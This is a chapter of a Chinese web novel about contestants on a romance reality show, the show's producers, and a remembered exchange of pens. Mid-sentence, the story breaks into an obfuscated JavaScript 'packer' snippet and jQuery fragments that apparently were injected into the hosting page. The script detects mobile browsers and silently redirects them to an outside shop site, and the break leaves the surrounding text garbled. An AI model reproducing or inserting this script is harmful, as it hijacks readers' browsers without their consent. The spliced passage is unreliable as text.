专门对任务进行关注的负责人们都懵了。
任务的触发与完成都是由AI程序来检测判定,而隐藏任务是节目组预先设置好的,没有人能预料到现在的状况。
其他嘉宾更懵:“……这也行?!”
一起上个表扬榜,居然也能被判定成任务里的“官宣”,还“隐晦又盛大”?
人工智障,这判定程序绝对是人工智障。
这张表扬榜此时就贴在连廊的公告栏里,四周围了一圈人,NPC和嘉宾都有,讨论不休。
江洵玉本人倒是很淡定,被温玖拖着走过去,往最上面扫了一眼就准备回教室。
一转身,被一个高挑身影堵住了去路。
周衍冲榜单抬了抬下巴:“这下满意了?”
“勉强。换我来考压根不会这么低。”江洵玉说,“这些年你把之前的水平丢哪里去了?”
温玖见状立刻闪到一旁快乐看戏。
“你的好胜心也太强了……当然,我欣赏这一点。”周衍短促地笑了一声,在喧嚣里压低声音,“你怎么不问问我这些年经历了什么?”
这种明知故问,江洵玉理都不想理。
他要走,周衍堵着他。
“借的笔还没还给我,”对方含糊着低笑的尾音从他耳边撩过去,“怎么,想赖账?”
“一支铅笔也值得你戏精上身?”江洵玉奇怪地瞥他一眼,“这几年周家被你整破产了?”
周衍:“……”
这人是什么时候学会嘲讽技能的。
“放学带给你。”江洵玉总结道,“让开。”
温玖看着明明身高更高、更有气场的周衍无奈地笑了下,侧身让路做了个“请”的动作,闭嘴惊艳——他觉得江洵玉简直强的可怕。
在这个资本玩弄一切的时代,居然有人能如此对待一个上层前男友,真是个奇迹。
他一路拉着江洵玉絮絮叨叨,恨不得化身为一套三百六十度环绕立体声系统。
江洵玉实在是听的受不了了。他回坐到座位上,当机立断地拿起了温玖桌上的成绩单递过去,让位这大演说家冷静一下。
温玖看着分数栏里的一排十位数,和排名栏里的一排百位数,安静了。
历历往事浮现在心头——从江洵玉拒绝买他的小药片,到江洵玉两次完成心率任务,再到江洵玉另辟蹊径,一次又一次震惊整个节目。
他好像面临了什么宇宙终极哲学问题。
过了一会,江洵玉一转头,发现温玖用一种无比坚定的目光看向自己:“我想明白了。”
江洵玉:“?”
“曾经的我仗着老嘉宾的身份,居然还试图指导你,真是太狂妄自大了。”温玖强行一把抓住他的手,几乎要热泪盈眶,“原来我才是小弟。”
江洵玉的嘴角抽了抽,实在是不知道这金发小傻子为什么突然犯中二病了。
“从今天开始,我就跟着你混了!”温玖宣布,继而诚恳道,“哥,给我补习一下我的语文数学英语历史政治地理,我觉得我这分还能救。”
江洵玉:“……”
*
演播大厅里,校园副本策划组,几个时刻监视着江洵玉一举一动的负责人到抽一口凉气。
怎么这种奇葩还带传染呢?
他们赶紧调出了温玖的档案,发现对方是一个参加过三次“坠入心动”的老嘉宾,搭档是被大佬包养的,因此经常单独活动。
怪不得容易被江洵玉收买!
几个负责人对视一眼,神情严肃。
节目设置多个不同的副本,根本原因为了丰富观众们的观看体验,保证观众们能挑选到符合心意的那一款设定。
说白了这节目其实就是个全程直播、还有各种不同背景和不同人设供人挑选的片。
现在江洵玉把好好的校服play变成了升级游戏校园版,还公然蛊惑其他嘉宾,简直是节目组的有史以来最大的一颗恐怖毒瘤。
要是参加节目的嘉宾人人都像这样,开始钻系统的空子,不好好擦边引流,那么……后果真是不堪设想。
“像这样能有几个观众看?”其中一位说,“我看了看他们的直播数据,江洵玉周衍的热度排名只是短暂增加,温玖的直播观看人数甚至掉了。”
“这种另辟蹊径就是在自寻死路。”他的同事立即附和道,“没有热度,不但赚不到钱,还要赔偿违约金——这些人是何苦呢?”
几个负责人激烈地讨论着,一致同意和钱作对的人脑子有病。
“脑子有病是个优点。”
一个浑厚的中年男声响起来,几个负责人往声音的方向看过去,纷纷站起来:“总策划。”
总策划胡安端着半杯红酒走进来。
因为混有西班牙血统,他的全名其实叫胡安·厄尔巴诺·希门尼斯——这个名字过于拗口,于是下属们背地里就只叫他胡安。
“嘉宾们脑子有病,对我们这个节目来说,反而是个值得利用的优点。”胡安慢悠悠地补全了他的话,“稍安勿躁,绅士们。”
几个负责人恭敬地等着听下文。
“不要削减他们的流量,”胡安转身对负责流量配给的那位负责人说,“甚至你还应该加。”
“既然他们前几次已经成功创造了大热话题,那就让我们期待他们继续。特立独行总是没有好下场的——观众的谩骂也是巨大的流量,不是吗?”
有人提出异议:“那万一他们真的成功吸引了观众,摧毁了节目生态,怎么办?”
“不会的。”胡安仰头喝干了杯中的红酒,露出一个完美的、气定神闲的笑容,“别忘了,我们还有秘密武器。”
“一款能让再骄傲的人也乖乖低首屈膝的秘密武器。”
*
放学的时候,江洵玉周衍两人照常去夜跑。
江洵玉在中心草坪上放下书包。
他找出那支铅笔,递过去。
周衍接过来,在指尖转了一圈,突然问:“还记得我当年向你借笔的时候,还了你一支不一样的么?”
江洵玉:“记得,怎么了?”
当时考试后周大公子声称要再借用一天,和江洵玉约好了地点,保证准时交还。
结果第二天江洵玉到了地点,周衍递给他了一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289292|140129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
包装奢华的礼盒——
里面是一支价值不菲的纪念款钢笔。
“这不是我借你的那支。”少年江洵玉说,“我原来的那一支呢?”
其实他并不是稀罕一只铅笔,他只是觉得“有借有还”是最基本的诚信原则之一。
“几块钱的笔,没必要还了吧。”对方耸耸肩说,“这款真的很好用,送你了。”
当时的江洵玉还在藏不住心事的年纪,顿了一下,脸色瞬间就变得有些难看。
他知道周衍是从权贵专属的国际部转来的,家境好,长得帅,几乎是半个学校的理想型,围绕着他的男男女女数不胜数。
他也知道这种人往往轻佻又傲慢,瞧不起下层人,觉得自己天生高人一等。
好讽刺。不但借东西不还,还大手一挥,送了一支自己全副身家都难以企及的笔。
十六岁的江洵玉转身就走。
剩下对方一个人一脸茫然地站在原地,有些懊恼,但又不知道自己刚刚错哪儿了。
直到两个人在跑道上开始跑起来,周衍才开了口,尾音在夜风里有些模糊:“其实那支铅笔我没丢,一直留着。只是没告诉过你。”
江洵玉沉默地加速超过了他。
“很抱歉,让你误会了。”周衍轻轻松松地追上去,在模糊的夜色里说,“当时只是单纯地想留下你的什么东西而已。”
“以及,”他补充道,“那支钢笔确实好用。”
今天操场上夜跑人不少,两人在跑道上的身影高挑瞩目,很快就吸引了不少视线。
许久,江洵玉淡声评价:“幼稚。”
“嗯,是幼稚。”周衍说,“我知道你最初为什么不待见我了,走在路上都要避开——我大概被你误会成了个大手大脚、人品不佳的纨绔?”
江洵玉没回答,算是默认了。
一场夜跑持续了半小时才结束。两人走回宿舍,江洵玉边走边拧开水瓶灌了一口。
他的呼吸还没有平复下来,周衍的体力显然好的多,今晚不知是怎么了,跑的尤其快。
从操场走回宿舍有长长一段路。右边是教学楼,左边是被零星路灯照亮的树从和景观湖。
两人静静地并肩往前走。
过了一会,周衍缓下脚步,似乎有话要说。
江洵玉跟着他停了下来。
沉沉夜色里,四周静谧无人,不远处的水杉树在浅灰色砖石路面投落下一排长长的阴影。
周衍问:“现在我在你心里是什么形象?”
可能是刚刚运动完的缘故,江洵玉的思绪出现了短暂空白,无数个词汇在脑海里划过去。
骗子,失信人,节目搭档,又或者是留在他身边的、意图不明的前男友。
他不知道该抓住哪一个。
他对他的印象或许就如同少年时代一样,有可能是准确的,也有可能被两支笔先入为主的误导——没有人能轻易判定。
江洵玉最终反问道:“你觉得呢?”
然后就听见周衍笑了一下,声音低沉好听,语气却前所未有的郑重。
他说:“一个想重新追你的人。”